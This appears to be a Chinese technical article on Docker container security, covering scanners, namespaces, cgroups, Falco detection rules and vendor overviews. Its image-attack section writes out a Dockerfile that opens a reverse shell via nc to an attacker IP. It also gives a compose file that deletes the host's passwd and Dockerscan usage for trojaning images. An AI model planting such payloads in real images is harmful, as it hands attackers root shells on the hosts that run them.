| 多租戶環(huán)境 | 由于Docker容器內(nèi)核的共享性質(zhì)，無法在多租戶環(huán)境中安全地實(shí)現(xiàn)責(zé)任分離。建議將容器運(yùn)行在沒有其它目的，且不用于敏感操作的宿主上。可以考慮將所有服務(wù)遷移到Docker控制的容器城。可能的話，設(shè)置守護(hù)進(jìn)程使用--icc=false，并根據(jù)需要在docker run時(shí)指定-link，或通過—-export=port暴露容器的一個(gè)端口，而不需要在宿主上發(fā)布。將相互信任的容器的組映射到不同機(jī)器上。 |
| 完全虛擬化 | 使用一個(gè)完全虛擬化解決方案來容納Docker，如KVM。如果容器內(nèi)的內(nèi)核漏洞被發(fā)現(xiàn)，這將防止其從容器擴(kuò)大到宿主上。類似Docker-in-Docker工具，Docker鏡像可以嵌套來提供該KVM虛擬層。 |
| 日志分析 | 收集并歸檔與Docker相關(guān)的安全日志來達(dá)到審核和監(jiān)控的目的，一般建議使用rsyslog或stdout+ELK的方式進(jìn)行日志收集、存儲(chǔ)與分析，因?yàn)镈ocker本身要求輕量，所以不建議像虛擬機(jī)或者物理機(jī)上安裝安全agent，這時(shí)實(shí)時(shí)威脅檢測(cè)和事件響應(yīng)功能就要依賴實(shí)時(shí)日志傳輸和分析了。可以在宿主上使用以下命令在容器外部訪問日志文件： docker run -v /dev/log:/dev/log /bin/sh 使用Docker內(nèi)置命令： docker logs ... (-f to follow log output) 日志文件也可以導(dǎo)出成一個(gè)壓縮包實(shí)現(xiàn)持久存儲(chǔ)： docker export |
| 漏洞掃描 | 前面的鏡像安全，跟這里的漏洞掃描關(guān)聯(lián)很密切，可以使用相同的工具去實(shí)現(xiàn)安全掃描，不過漏洞掃描更傾向于外部檢測(cè)，鏡像安全則需要鏡像倉(cāng)庫(kù)和CI系統(tǒng)聯(lián)動(dòng)，始終不是一回事，所以分來介紹。 下面介紹5款用于Docker漏洞掃描的工具，它們各有千秋，從鏡像到容器，從宿主到容器，從dockerfile到docker-compose，從安全基線檢查與漏洞發(fā)現(xiàn)，從容器安全到性能優(yōu)化，均有覆蓋。 docker-slim： 參考：https://github.com/docker-slim/docker-slim 創(chuàng)建小容器需要大量的巫術(shù)魔法，它可以是相當(dāng)痛苦的。你不應(yīng)該丟掉你的工具和你的工作流程。使用Docker應(yīng)該很容易。docker-slim是一個(gè)容器的魔法減肥藥。它將使用靜態(tài)和動(dòng)態(tài)分析為你的應(yīng)用程序創(chuàng)建一個(gè)緊湊的容器。 Docker Bench for Security： 參考：https://github.com/docker/docker-bench-security Docker Bench for Security是一個(gè)腳本，用于檢查在生產(chǎn)環(huán)境中部署Docker容器的幾十個(gè)常見的最佳實(shí)踐，測(cè)試都是自動(dòng)化的，受CIS Docker 1.13基準(zhǔn)的啟發(fā)而來。 Clair： 參考：https://github.com/coreos/clair Clair是一個(gè)用于靜態(tài)分析應(yīng)用程序容器（目前包括appc和docker）中的漏洞的開源項(xiàng)目。基于k8s，將鏡像上傳到clair所在機(jī)器掃描即可。從已知的一組源連續(xù)導(dǎo)入漏洞數(shù)據(jù)，并與容器映像的索引內(nèi)容相關(guān)聯(lián)，以便產(chǎn)生威脅容器的漏洞的列表。當(dāng)漏洞數(shù)據(jù)在上游發(fā)生變化時(shí)，可以傳遞通知，并且API會(huì)查詢以提供漏洞的先前狀態(tài)和新狀態(tài)以及受這兩者影響的圖像。 Container-compliance： 參考：https://github.com/OpenSCAP/container-compliance Container-compliance是基于OpenSCAP的用于評(píng)估鏡像、容器合規(guī)性的資源和工具。 Lynis： 參考：https://cisofy.com/lynis/plugins/docker-containers/ lynis本身是一套Linux/Unix系統(tǒng)安全審計(jì)的shell腳本，執(zhí)行時(shí)系統(tǒng)消耗很低。Lynis-docker是Lynis的一個(gè)插件，這個(gè)插件收集關(guān)于Docker配置和容器的信息。 |
| 端口掃描 | 很多人認(rèn)為，容器被入侵帶來的風(fēng)險(xiǎn)，遠(yuǎn)比不上物理機(jī)和傳統(tǒng)虛擬機(jī)，于是他們直接把docker容器對(duì)外網(wǎng)開放，而且不配置任何訪問控制。另外，也會(huì)存在宿主iptables錯(cuò)誤調(diào)導(dǎo)致容器直接對(duì)外開放的問題存在，于是，這時(shí)針對(duì)容器進(jìn)行快速批量的端口快速掃描顯得很有必要。目前Nmap/Masscan這兩款工具用的比較多。 Nmap支持tcp/udp端口掃描以及自定義插件掃描任意漏洞，是最著名、應(yīng)用最廣的端口掃描器。masscan的掃描結(jié)果類似于nmap，在內(nèi)部，它更像scanrand, unicornscan, and ZMap，采用了異步傳輸?shù)姆绞健Ｋ瓦@些掃描器最主要的區(qū)別是，它比這些掃描器更快。參考：https://github.com/robertdavidg |
上面介紹了很多配置、工具，如果要應(yīng)用到生產(chǎn)環(huán)境，還是需要大量調(diào)研的，所以本文的下半部分會(huì)結(jié)合將它們聯(lián)動(dòng)起來，深入到應(yīng)用部署、功能使用以及如何與企業(yè)或組織的Docker容器編排系統(tǒng)、倉(cāng)庫(kù)集成等具體實(shí)現(xiàn)，形成一套企業(yè)級(jí)Docker安全解決方案，敬請(qǐng)期待。
參考資料：
Docker官方Docker安全文檔
關(guān)于Docker的幾點(diǎn)安全解析
陳愛珍 如何打造安全的容器云平臺(tái)
docker安全部署指南
2.3 Docker鏡像安全掃描與審計(jì)
介紹Docker鏡像的漏洞掃描與審計(jì)。
Docker鏡像攻擊的具體實(shí)現(xiàn)方式：
| Docker鏡像攻擊 | 針對(duì)Docker容器的攻擊，有利用Docker Daemon api的，也有攻擊Kubernetes、Mesos等容器管理平臺(tái)的，這方面的攻擊利用門檻較低、獲取成果又非常豐富，反彈shell、getroot均不在話下。不過，今天討論的是針對(duì)Docker鏡像的攻擊，常見的攻擊方式主要有dockerfiles攻擊、docker compose攻擊兩種，而后面講到的docker鏡像自動(dòng)化攻擊則主要利用Dockerscan這款工具。 |
| dockerfiles攻擊 | 道理很簡(jiǎn)單，在dockerfiles中寫入惡意命令，如反彈shell或者添加惡意用戶等，或者引入存在漏洞的應(yīng)用，如使用存在遠(yuǎn)程命令執(zhí)行漏洞的Strusts2。下面是一個(gè)現(xiàn)成的dockerfiles。 FROM alpine:latestRUN apk add --update --no-cache netcat-openbsd dockerRUN mkdir /filesCOPY * /files/RUN mknod /tmp/back pRUN /bin/sh 0< /tmp/back | nc 192.168.160.1 12345 1>/tmp/back 一旦客戶端build完鏡像，啟動(dòng)容器，則會(huì)向控制端反彈shell nc -lv 192.168.160.1 12345sh# idroot |
| docker compose攻擊 | 類似的，編寫好存在惡意命令或者漏洞組件的docker compose文件，一旦客戶端build完鏡像，啟動(dòng)容器，則會(huì)執(zhí)行攻擊命令或暴露漏洞組件。 test:image: ubuntu:14.04volumes:- /etc:/testcommand: rm /test/passwd |
| docker鏡像自動(dòng)化攻擊 | docker鏡像自動(dòng)化滲透工具Dockerscan可掃描網(wǎng)段或者目標(biāo)識(shí)別是否為docker registry，也支持對(duì)docker registry操作鏡像，更支持修改鏡像，將木馬植入正常鏡像中，當(dāng)用戶運(yùn)行該鏡像時(shí)，攻擊者就會(huì)接收到反彈出的shell，從而達(dá)到控制服務(wù)器的目的。 pip3 install dockerscandockerscan -hUsage: dockerscan [OPTIONS] COMMAND [ARGS]...Options:-v Verbose output-d enable debug-q, --quiet Minimal output--version Show the version and exit.-h, --help Show this message and exit.Commands:image Docker images commandsregistry Docker registry actionsscan Search for Open Docker Registries |
- Docker鏡像安全掃描
通過本地docker images命令或者操作docker registry就能惡意修改鏡像，植入攻擊木馬。但這僅僅只是產(chǎn)生Docker鏡像安全掃描需求的原因之一。另一種情況，全球最大的dockerhub上面有官方的，也有用戶上傳的任意鏡像，但是目前dockerhub上面只有office repo的才會(huì)自動(dòng)調(diào)用docker security scan，其他的即便是惡意image也不會(huì)有報(bào)警或者攔截的，個(gè)人鏡像則需要付費(fèi)掃描。因此，當(dāng)我們使用外部dockerhub的鏡像時(shí)同樣需要進(jìn)行安全掃描。如果沒有鏡像安全工具，非office的repo docker pull時(shí)一定要仔細(xì)閱讀dockerfile或者下載dockerfile本地build。下面是Docker官方鏡像安全掃描的流程圖。
目前的鏡像掃描工具有：Clair、Anchore、OpenSCAP、Harbor。
2.4 Docker入侵檢測(cè)
介紹如何使用Sysdig Falco監(jiān)控Docker容器安全。
入侵檢測(cè)和漏洞掃描可謂是主動(dòng)發(fā)現(xiàn)安全問題的“內(nèi)功外功”，在容器技術(shù)應(yīng)用越來越廣泛的今天，也需要被給予同樣的重視。本文將探討Docker入侵檢測(cè)工具Sysdig Falco的基礎(chǔ)知識(shí)以及如何檢測(cè)容器的異常行為等問題。 Sysdig Falco是一種旨在檢測(cè)異常活動(dòng)開源的系統(tǒng)行為監(jiān)控程序。作為L(zhǎng)inux主機(jī)入侵檢測(cè)系統(tǒng)，對(duì)待Docker依舊特別有用，因?yàn)樗С秩萜魃舷挛?#xff0c;如container.id，container.image或其規(guī)則的命名空間。
- 原理
雖說Sysdig Falco是一種審計(jì)工具，但卻與Seccomp或AppArmor等內(nèi)核態(tài)的審計(jì)工具全然不同。 Sysdig Falco在用戶空間中運(yùn)行，使用內(nèi)核模塊攔截系統(tǒng)調(diào)用，而其他類似工具在內(nèi)核級(jí)別運(yùn)行系統(tǒng)調(diào)用過濾或監(jiān)控。用戶空間實(shí)現(xiàn)的一個(gè)好處是能夠與Docker編排工具等外部系統(tǒng)集成。
- 特點(diǎn)
Sysdig Falco具備以下特點(diǎn)：
監(jiān)控行為或活動(dòng) 探測(cè)通過規(guī)則集定義好的異常行為 使用sysdig豐富和強(qiáng)大的過濾表達(dá)式對(duì)容器的全面支持 使用sysdig的容器支持豐富的通知方式 輸出報(bào)警到文件、標(biāo)準(zhǔn)輸出以及syslog開源 任何人都可以貢獻(xiàn)規(guī)則或者代碼- 架構(gòu)
如下圖所示，當(dāng)發(fā)生系統(tǒng)調(diào)用時(shí)，內(nèi)核hook會(huì)調(diào)用sysdig庫(kù)，產(chǎn)生一個(gè)事件，經(jīng)過Falco規(guī)則集的過濾表達(dá)式之后產(chǎn)生異常事件，觸發(fā)報(bào)警。
- demo
sysdig falco定義的規(guī)則非常容易理解，下面可以看幾個(gè)demo：
容器中執(zhí)行了shell：
container.id != host and proc.name = bash系統(tǒng)二進(jìn)制文件被重寫：
fd.directory in (/bin,/sbin,/usr/bin,/user/sbin) and write容器namespace發(fā)生改變：
evt.type = setns and not proc.name in (docker,sysdig) /dev下有非設(shè)備文件寫入 (evt.type = create or evt.arg.flags contains O_CREAT) and proc.name != blkid and fd.directory = /dev and fd.name != /dev/null進(jìn)程試圖訪問相機(jī)：
evt.type = open and fd.name = /dev/video0 and not proc.name in (skype,webex)本文將從以下4個(gè)安全威脅場(chǎng)景展示如何使用Sysdig Falco進(jìn)行異常行為監(jiān)控:
運(yùn)行交互式shell的容器 運(yùn)行未經(jīng)授權(quán)的進(jìn)程 寫入非用戶數(shù)據(jù)目錄 容器異常掛載讀者將同時(shí)扮演攻擊者和防御者（系統(tǒng)管理員）角色，驗(yàn)證Sysdig Falco是否已檢測(cè)到入侵企圖。
2.5 Docker容器安全隔離與資源控制
介紹如何將namespace和cgroup技術(shù)用于Docker容器安全隔離與資源控制。
眾所周知，Docker使用namespace進(jìn)行環(huán)境隔離、使用cgroup進(jìn)行資源限制。但是在實(shí)際應(yīng)用中，還是有很多企業(yè)或者組織沒有使用namespace或者cgroup對(duì)容器加以限制，從而埋下安全隱患。本文定位于簡(jiǎn)單介紹namespace和cgroup的基本原理之后，通過具體配置和應(yīng)用向讀者展示如何應(yīng)用這些技術(shù)保護(hù)docker容器安全，不過namespace和cgroup并不是萬能的，他們只是保障Docker容器安全的多種方案中的一類而已。
2.5.1 namespace
- 概述
我們可以給容器分配有限的資源，這有助于限制系統(tǒng)和惡意攻擊者可用的系統(tǒng)資源。每個(gè)容器所能獲取的組件有：
網(wǎng)絡(luò)堆棧 進(jìn)程空間 文件系統(tǒng)實(shí)例可通過使用namespace來實(shí)現(xiàn)限制資源。namespace就像一個(gè)“視圖”，它只顯示系統(tǒng)上所有資源的一個(gè)子集。這提供了一種隔離形式：在容器中運(yùn)行的進(jìn)程不能看到或影響其他容器中的進(jìn)程或者宿主本身。
以下是一些常見的namespace類型實(shí)例。 Namespace例子
Cgroup CLONE_NEWCGROUP 限制root目錄 IPC CLONE_NEWIPC System V IPC, POSIX消息隊(duì)列 Network CLONE_NEWNET 網(wǎng)絡(luò)設(shè)備、棧、端口等 Mount CLONE_NEWNS 掛載點(diǎn) PID CLONE_NEWPID 進(jìn)程ID User CLONE_NEWUSER 用戶和組ID UTS CLONE_NEWUTS 主機(jī)名和NIS域名Docker run 命令有幾個(gè)參數(shù)和 namespace 相關(guān)：
IPC:--ipc string IPC namespace to use PID:--pid string PID namespace to use User:--userns string User namespace to use UTS:--uts string UTS namespace to use- 確定當(dāng)前Docker用戶
默認(rèn)情況下，Docker守護(hù)程序在主機(jī)上以root用戶身份運(yùn)行。通過列出所有進(jìn)程，你可以識(shí)別Docker守護(hù)程序運(yùn)行的用戶。
ps aux | grep docker由于守護(hù)程序以root身份運(yùn)行，因此啟動(dòng)的任何容器將具有與主機(jī)的root用戶相同的安全上下文。
docker run --rm alpine id這樣時(shí)有安全風(fēng)險(xiǎn)的：如果root用戶擁有的文件可從容器訪問，則可以由正在運(yùn)行的容器修改。
- 刪除文件
以下命令標(biāo)識(shí)以root用戶身份運(yùn)行容器的風(fēng)險(xiǎn)。
首先，在我們的主機(jī)上創(chuàng)建touch命令的副本。
sudo cp /bin/touch /bin/touch.bak && ls -lha /bin/touch.bak由于容器的/hos目錄和宿主的/bin是同一個(gè)，因此可以從容器刪除宿主上的文件，不信你試試。
docker run -it -v /bin/:/host/ alpine rm -f /host/touch.bak結(jié)果，該命令被刪的一干二凈。
ls -lha /bin/touch.bak在這種情況下，容器能夠從主機(jī)刪除觸摸二進(jìn)制文件。
- 更改容器用戶
可以通過更改用戶和組上下文以及使用非特權(quán)用戶運(yùn)行的容器來規(guī)避以上風(fēng)險(xiǎn)。
docker run --user = 1000：1000 --rm alpine id作為無特權(quán)用戶，將無法刪除二進(jìn)制文件。
$ docker run -it -v /bin/:/host/ alpine rm -f /host/touch.bak $ docker run --user=1000:1000 --rm alpine id uid=1000 gid=1000 $ sudo cp /bin/touch /bin/touch.bak $ docker run --user=1000:1000 -it -v /bin:/host/ alpine rm -f /host/touch.bak rm: can't remove '/host/touch.bak': Permission denied但是，如果我們?cè)谌萜鲀?nèi)部需要訪問根目錄，那么我們?nèi)匀粫?huì)將自己暴露給前一個(gè)場(chǎng)景。這是namespace出現(xiàn)的原因。
- 啟用用戶namespace
Docker建議不要在啟用namespace模式和禁用namespace模式之間來回切換Docker daemon，執(zhí)行此操作可能會(huì)導(dǎo)致鏡像權(quán)限出現(xiàn)問題。
namespace是Linux內(nèi)核安全功能，該功能允許namespace或容器內(nèi)的root用戶訪問主機(jī)上的非特權(quán)用戶ID。
- 任務(wù)
使用參數(shù)userns-remap啟動(dòng)Docker daemon時(shí)，將啟用namespace。運(yùn)行以下命令以修改Docker daemon設(shè)置并重新啟動(dòng)該進(jìn)程。
curl https://gist.githubusercontent.com/BenHall/bb878c99d06a63cd8ed4d1c0a6941df4/raw/76136ffbca341846619086cfe40ab8e013683f47/daemon.json -o /etc/docker/daemon.json&& sudo service docker restart使用cat /etc/docker/daemon.json查看設(shè)置
cat /etc/docker/daemon.json {"bip":"172.18.0.1/24","debug": true,"storage-driver": "overlay","userns-remap": "1000:1000","insecure-registries": ["registry.test.training.katacoda.com:4567"] }重新啟動(dòng)后，你可以使用以下命令驗(yàn)證namespace是否到位
docker info | grep "Root Dir" WARNING: No swap limit support Docker Root Dir: /var/lib/docker/100000.100000Docker將不再以root用戶身份將文件存儲(chǔ)在磁盤卷上。相反，所有內(nèi)容都作為映射用戶進(jìn)行處理。 Docker Root Dir定義了Docker為映射用戶存儲(chǔ)數(shù)據(jù)的位置。
注意：在現(xiàn)有系統(tǒng)上啟用此功能時(shí)，需要重新下載Docker Images。
- namespace保護(hù)
啟用namespace后，Docker Dameon將以其他用戶身份運(yùn)行。
ps aux | grep dockerd啟動(dòng)容器時(shí)，容器內(nèi)的用戶將具有root權(quán)限。
docker run --rm alpine id但是，用戶將無法修改主機(jī)上運(yùn)行的任何內(nèi)容。
sudo cp / bin / touch /bin/touch.bak docker run -it -v / bin /：/ host / alpine rm -f /host/touch.bak與此前不同，我們的ps命令仍然存在。
ls -lha /bin/touch.bak通過使用namespace，可以將Docker root用戶分開，并提供比以前更強(qiáng)的安全性和隔離性。
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video) $ sudo cp /bin/touch /bin/touch.bak $ docker run -it -v /bin/:/host/ alpine rm -f /host/touch.bak rm: can't remove '/host/touch.bak': Permission denied $ ls -lha /bin/touch.bak -rwxr-xr-x 1 root root 63K Aug 27 03:59 /bin/touch.bak- 使用網(wǎng)絡(luò)namespace
雖然cgroup控制進(jìn)程可以使用多少資源，但命名空間還能控制進(jìn)程的查看和訪問權(quán)限。
例子:
啟動(dòng)容器時(shí)，將定義并創(chuàng)建網(wǎng)絡(luò)接口。這為容器提供了唯一的IP地址和接口。
通過將命名空間更改為主機(jī)，而不是容器的網(wǎng)絡(luò)與其接口隔離，該進(jìn)程將可以訪問主機(jī)網(wǎng)絡(luò)接口。
[root@host01 ~]# docker run -it --net=host alpine ip addr show 1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN qlen 1000link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00inet 127.0.0.1/8 scope host lovalid_lft forever preferred_lft foreverinet6 ::1/128 scope hostvalid_lft forever preferred_lft forever 2: enp0s3: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UP qlen 1000link/ether 02:42:ac:11:00:11 brd ff:ff:ff:ff:ff:ffinet 172.17.0.17/16 brd 172.17.255.255 scope global enp0s3valid_lft forever preferred_lft foreverinet6 fe80::b3ad:ecc4:2399:7a54/64 scope linkvalid_lft forever preferred_lft forever 3: docker0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue state UPlink/ether 02:42:cd:78:f0:22 brd ff:ff:ff:ff:ff:ffinet 172.18.0.1/24 brd 172.18.0.255 scope global docker0valid_lft forever preferred_lft foreverinet6 fe80::e9ad:a1a7:8b68:a0d1/64 scope linkvalid_lft forever preferred_lft forever 5: veth158bc01@if4: <BROADCAST,MULTICAST,UP,LOWER_UP,M-DOWN> mtu 1500 qdisc noqueue master docker0 stateUPlink/ether 9e:bc:3d:01:53:95 brd ff:ff:ff:ff:ff:ffinet6 fe80::ca3e:49ea:e1d0:8755/64 scope linkvalid_lft forever preferred_lft forever如果進(jìn)程監(jiān)聽端口，它們將在宿主接口上被監(jiān)聽并映射到容器。
- 使用Pid命名空間
與網(wǎng)絡(luò)一樣，容器可以看到的進(jìn)程也取決于它所屬的命名空間。 通過更改pid命名空間，允許容器與超出其正常范圍的進(jìn)程進(jìn)行交互。
例子：
第一個(gè)容器將在其進(jìn)程名稱空間中運(yùn)行。 因此，它可以訪問的唯一進(jìn)程是在容器中啟動(dòng)的進(jìn)程。
通過將命名空間更改為主機(jī)，容器還可以查看系統(tǒng)上運(yùn)行的所有其他進(jìn)程。
[root@host01 ~]# docker run -it --pid=host alpine ps aux PID USER TIME COMMAND1 root 0:00 /usr/lib/systemd/systemd2 root 0:00 [kthreadd]4 root 0:00 [kworker/0:0H]6 root 0:00 [mm_percpu_wq]7 root 0:00 [ksoftirqd/0]8 root 0:00 [rcu_sched]9 root 0:00 [rcu_bh]- 共享命名空間
有時(shí)需要提供容器訪問主機(jī)名稱空間，例如調(diào)試工具，但被認(rèn)為是不好的做法。這是因?yàn)槟阏诖蚱瓶赡芤肼┒吹娜萜靼踩Ｐ汀Ｏ喾?#xff0c;如果需要，請(qǐng)使用共享命名空間來僅訪問容器所需的命名空間。
例子：
第一個(gè)容器啟動(dòng)Nginx服務(wù)器。這將定義一個(gè)新的網(wǎng)絡(luò)和進(jìn)程命名空間。 Nginx服務(wù)器將自身綁定到新定義的網(wǎng)絡(luò)接口的端口80。
其他容器現(xiàn)在可以使用語法容器重用此命名空間：。 curl命令下面可以訪問在localhost上運(yùn)行的HTTP服務(wù)器，因?yàn)樗鼈児蚕硐嗤木W(wǎng)絡(luò)接口。
docker run --net = container：http benhall / curl curl -s localhost<!DOCTYPE html> <html> <head> <title>Welcome to nginx!</title> <style>body {width: 35em;margin: 0 auto;font-family: Tahoma, Verdana, Arial, sans-serif;} </style> </head> <body> <h1>Welcome to nginx!</h1> <p>If you see this page, the nginx web server is successfully installed and working. Further configuration is required.</p><p>For online documentation and support please refer to <a href="http://nginx.org/">nginx.org</a>.<br/> Commercial support is available at <a href="http://nginx.com/">nginx.com</a>.</p><p><em>Thank you for using nginx.</em></p> </body>它還可以查看共享容器中的進(jìn)程并與之交互。
docker run --pid=container:http alpine ps aux PID USER TIME COMMAND1 root 0:00 nginx: master process nginx -g daemon off;6 100 0:00 nginx: worker process7 root 0:00 ps aux 這對(duì)于調(diào)試工具很有用，例如strace。這允許你在不更改或重新啟動(dòng)應(yīng)用程序的情況下為特定容器提供更多權(quán)限。2.5.2 cgroup
- 概述
cgroup可為系統(tǒng)中所運(yùn)行的任務(wù)或進(jìn)程的用戶群組分配資源，比如CPU事件、系統(tǒng)內(nèi)存、網(wǎng)絡(luò)帶寬或者這些資源的組合。一般可以分為下面幾種類型：
Resource limitation: 限制資源使用，比如內(nèi)存使用上限以及文件系統(tǒng)的緩存限制。 Prioritization: 優(yōu)先級(jí)控制，比如：CPU利用和磁盤IO吞吐。 Accounting: 一些審計(jì)或一些統(tǒng)計(jì)，主要目的是為了計(jì)費(fèi)。 Control: 掛起進(jìn)程，恢復(fù)執(zhí)行進(jìn)程。以下是一些常見的cgroup類型示例。
CGroups例子
--cpu-shares #限制cpu共享 --cpuset-cpus #指定cpu占用 --memory-reservation #指定保留內(nèi)存 --kernel-memory #內(nèi)核占用內(nèi)存 --blkio-weight (block IO) #blkio權(quán)重 --device-read-iops #設(shè)備讀iops --device-write-iops #設(shè)備寫iopsdocker run中與cgroup相關(guān)的參數(shù)如下：
block IO:--blkio-weight value Block IO (relative weight), between 10 and 1000--blkio-weight-device value Block IO weight (relative device weight) (default [])--cgroup-parent string Optional parent cgroup for the container CPU:--cpu-percent int CPU percent (Windows only)--cpu-period int Limit CPU CFS (Completely Fair Scheduler) period--cpu-quota int Limit CPU CFS (Completely Fair Scheduler) quota-c, --cpu-shares int CPU shares (relative weight)--cpuset-cpus string CPUs in which to allow execution (0-3, 0,1)--cpuset-mems string MEMs in which to allow execution (0-3, 0,1) Device: --device value Add a host device to the container (default [])--device-read-bps value Limit read rate (bytes per second) from a device (default [])--device-read-iops value Limit read rate (IO per second) from a device (default [])--device-write-bps value Limit write rate (bytes per second) to a device (default [])--device-write-iops value Limit write rate (IO per second) to a device (default []) Memory: --kernel-memory string Kernel memory limit-m, --memory string Memory limit--memory-reservation string Memory soft limit--memory-swap string Swap limit equal to memory plus swap: '-1' to enable unlimited swap--memory-swappiness int Tune container memory swappiness (0 to 100) (default -1)- 定義內(nèi)存限制
可以通過定義上限邊界來幫助限制應(yīng)用程序的內(nèi)存泄漏或其他程序bug。
例子
docker run -d --name mb100 --memory 100m alpine top da4db4fd6b70501783c172b7459227c6c8e0426784acf1da26760d80eb2403b0容器的內(nèi)存使用可通過docker stats命令查看。
docker stats --no-stream CONTAINER ID NAME CPU % MEM USAGE / LIMIT MEM % NET I/O BLOCK I/O PIDS da4db4fd6b70 mb100 0.00% 440KiB / 100MiB 0.43% 6.21kB / 90B 1.06MB / 0B 1- 定義CPU份額
雖然內(nèi)存限制定義了設(shè)置的最大值，但CPU限制基于共享。這些份額是一個(gè)進(jìn)程應(yīng)該與另一個(gè)進(jìn)程在處理時(shí)間上分配的權(quán)重。 如果CPU處于空閑狀態(tài)，則該進(jìn)程將使用所有可用資源。 如果第二個(gè)進(jìn)程需要CPU，則將根據(jù)權(quán)重共享可用的CPU時(shí)間。
例子
下面是啟動(dòng)具有不同共享權(quán)重的容器的示例。 --cpu-shares參數(shù)定義0-768之間的共享。 如果容器定義了768的份額，而另一個(gè)容器定義了256的份額，則第一個(gè)容器將具有50%的份額，而另一個(gè)容器具有25%的可用份額。 這些數(shù)字是由于CPU共享的加權(quán)方法而不是固定容量。 在第一個(gè)容器下方將允許擁有50%的份額。 第二個(gè)容器將限制在25%。
有一點(diǎn)很重要，就是只要沒有其他進(jìn)程在，即便是定義了權(quán)重，啟動(dòng)的進(jìn)程也能獲得共享的100%的資源。
- 其他限制
諸如讀寫IP的限制，可以按照參考文檔配置測(cè)試，測(cè)試效果如上面的cpu和內(nèi)存限制。
參考文檔：
Docker 容器使用 cgroups 限制資源使用
Docker 使用 Linux namespace 隔離容器的運(yùn)行環(huán)境
2.6 Docker容器系統(tǒng)調(diào)用和文件訪問的權(quán)限控制
介紹如何使用seccomp和apparmor實(shí)現(xiàn)Docker容器系統(tǒng)調(diào)用和文件訪問的權(quán)限控制。
2.7 安全管理docker容器敏感信息
介紹如何使用Hashicorp Vault安全管理docker容器敏感信息。
3. 競(jìng)品廠商
3.1 neuvector
核心思想：
Production-Grade Container Security Profile. Protect. Prevent.Kubernetes-native. Vulnerability management. Zero-day blocking. Micro-segmentation. DevOps agility.3.1.1 Use Cases:
1.DevOps Transformation
Speed your journey to DevOps.// 加快您的DevOps之旅。
NeuVector covers the entire CI/CD pipeline with complete vulnerability management and attack blocking in production with our patented container firewall. // NeuVector通過我們的專利容器防火墻在整個(gè)CI/CD 流水線中提供了完整的漏洞管理和生產(chǎn)中的攻擊阻止功能。
2.Compliance(合規(guī))
Don’t sweat the details. // 不用為細(xì)節(jié)煩惱
NeuVector has you covered with PCI-ready container security. Meet requirements with less time and less work. // NeuVector為您提供了支持PCI的容器安全性。 以更少的時(shí)間和更少的工作來滿足需求。
3.Cloud Migration(云遷移)
Deploy containers in the cloud with confidence. //放心地在云中部署容器。
NeuVector protects your data and IP in public and private cloud environments. // NeuVector在公共和私有云環(huán)境中保護(hù)您的數(shù)據(jù)和IP。
4.Security Automation(安全自動(dòng)化)
Accelerate your CI/CD pipeline with Security as Code. // 加速CI/CD流水中的代碼安全
Continuously scan throughout the container lifecycle. Remove security roadblocks.Bake in security policies at the start. //在整個(gè)容器生命周期中連續(xù)掃描。 刪除安全障礙。一開始就烘焙安全策略。
5.Microservices(微服務(wù))
Transition to microservices securely. // 安全地過渡到微服務(wù)。
Comprehensive vulnerability management to establish your risk profile and the only patented container firewall for immediate protection from zero days, known, and unknown threats. //全面的漏洞管理可建立您的風(fēng)險(xiǎn)概況，并是唯一的獲得專利的容器防火墻，可立即防御零日，已知和未知威脅。
6.Container Segmentation
Protect PII //保護(hù)個(gè)人身份信息
Essential for PCI and other mandates, NeuVector creates a virtual wall to keep personal and private information securely isolated on your network. //對(duì)于PCI和其他任務(wù)至關(guān)重要，NeuVector可以創(chuàng)建虛擬墻，以將個(gè)人和私人信息安全地隔離在您的網(wǎng)絡(luò)上。
3.1.2 Kubernetes-native Container Security
Kubernetes原生容器安全
NeuVector is the only kubernetes-native container security platform that delivers complete container security. Our end-to-end vulnerability management gives you a continuous risk profile on known threats. Our patented container firewall technology starts blocking on Day 1 to protect your infrastructure from known and unknown threats. Our behavioral learning and Security as Code automation processes improve the flow between development and security. Integrating policy helps prevent future exposure.
//NeuVector是唯一提供完整容器安全性的kubernetes原生容器安全性平臺(tái)：
我們的端到端漏洞管理為您提供有關(guān)已知威脅的連續(xù)風(fēng)險(xiǎn)概況。
我們獲得專利的容器防火墻技術(shù)從第1天起開始阻止，以保護(hù)您的基礎(chǔ)結(jié)構(gòu)免受已知和未知的威脅。
我們的行為學(xué)習(xí)和“安全即代碼”自動(dòng)化流程改善了開發(fā)與安全之間的流程。
整合政策有助于防止未來的風(fēng)險(xiǎn)敞口。
1.Security
NeuVector’s defense-in-depth security extends beyond Kubernetes network policies to protect your applications from the CI/CD pipeline to production. //NeuVector的縱深防御安全性超出了Kubernetes網(wǎng)絡(luò)策略的范圍，可保護(hù)您的應(yīng)用程序從CI / CD管道到生產(chǎn)環(huán)境。
Vulnerability management plus protection from Day 1 without patching//從第一天起就進(jìn)行漏洞管理并提供保護(hù)，無需修補(bǔ)
Protection from unpatched CVEs, zero days, and insider threats//保護(hù)免受未修補(bǔ)的CVE，零時(shí)差和內(nèi)部威脅
Full coverage to avoid breaches from inside and out //全面覆蓋，避免從內(nèi)到外破壞
2.Visibility
NeuVector offers a comprehensive lens into all network traffic and actionable data throughout the container lifecycle.//NeuVector為整個(gè)容器生命周期中的所有網(wǎng)絡(luò)流量和可操作數(shù)據(jù)提供了一個(gè)全面的視角。
Adapt quickly in dynamic DevOps environments //在動(dòng)態(tài)DevOps環(huán)境中快速適應(yīng)
Identify anomalous behavior and rogue employees //識(shí)別異常行為和欺騙的員工
Normalize security policies between environments.//規(guī)范環(huán)境之間的安全策略。
3.Compliance
NeuVector simplifies compliance mandates for any container environment, including highly regulated industries like financial services and healthcare.//NeuVector簡(jiǎn)化了對(duì)任何容器環(huán)境的合規(guī)性要求，包括金融服務(wù)和醫(yī)療保健等高度管制的行業(yè)。
Meet PCI requirements for container segmentation, plus GDPR and HIPAA //滿足PCI容器分段要求，以及GDPR和HIPAA
Use automated templates for easier reporting //使用自動(dòng)化模板以更輕松地報(bào)告
Map to CIS Benchmarks for Kubernetes //映射到Kubernetes的CIS基準(zhǔn)
3.2 docker安全廠商
